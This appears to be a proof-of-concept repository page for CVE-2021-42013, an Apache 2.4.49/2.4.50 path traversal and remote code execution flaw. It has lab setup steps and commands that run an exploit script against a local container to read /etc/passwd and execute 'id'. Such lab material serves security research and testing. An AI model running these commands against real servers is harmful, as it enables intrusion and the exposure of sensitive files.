CVE-2021-42013 PoC — Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

Source

Associated Vulnerability

Readme

<h1 style="font-size:10vw" align="left">CVE-2021-42013 - Apache 2.4.50 Path Traversal & Remote Code Execution (RCE)</h1>


<img src="https://img.shields.io/badge/CVSS:3.1%20Score%20-9.8 CRITICAL-red"> <img src="https://img.shields.io/badge/Maintained%3F-Yes-96c40f">


******
⚠️ *For educational and authorized security research purposes only*


## Original Exploit Authors
Very grateful to the original PoC author [Walnut Security Services Pvt. Ltd](https://github.com/walnutsecurity)


## Description
An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.


******
## Step Guides
1. First, clone the repository
    ```bash
    git clone https://github.com/asepsaepdin/cve-2021-42013.git
    ```
    
2. Change directory
    ```bash
    cd cve-2021-42013
    ```
    
3. Build vuln container
    ```bash
    docker build -t cve-2021-42013 .
    ```
    
5. Run ephemeral container
    ```bash
    docker run --rm -it --name cve-2021-42013 cve-2021-42013
    ```
    
6. Check container ip address
    ```bash
    docker inspect cve-2021-42013 | grep "IPAddress"
    ```
    
7. Give executable permission to script
    ```bash
    chmod +x cve-2021-42013.sh
    ```
    
8. To test for and confirm path traversal, a valid directory needs to be discovered which in this case is configured as /icons. So, executing the following command would trigger path traversal vulnerability and print the contents of /etc/passwd:
    ```bash
    ./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
    ```
    
9. To test for and confirm remote code execution, CGI should be configured and enabled which in this case is true. So, executing the following command would trigger remote code execution and print the output of the id command:
    ```bash
    ./cve-2021-42013.sh 172.17.0.3 /bin/bash id
    ```
    

******
## Credits
- https://github.com/walnutsecurity/cve-2021-42013
- https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- https://www.exploit-db.com/docs/50552
- https://www.exploit-db.com/exploits/50406

File Snapshot

 [4.0K]  /data/pocs/6b393a2987dc95ee32bcc6a8371f7dbb19ed2594
├── [ 337]  cve-2021-42013.sh
├── [ 416]  Dockerfile
├── [ 18K]  httpd.conf
└── [2.3K]  README.md

0 directories, 4 files

Remarks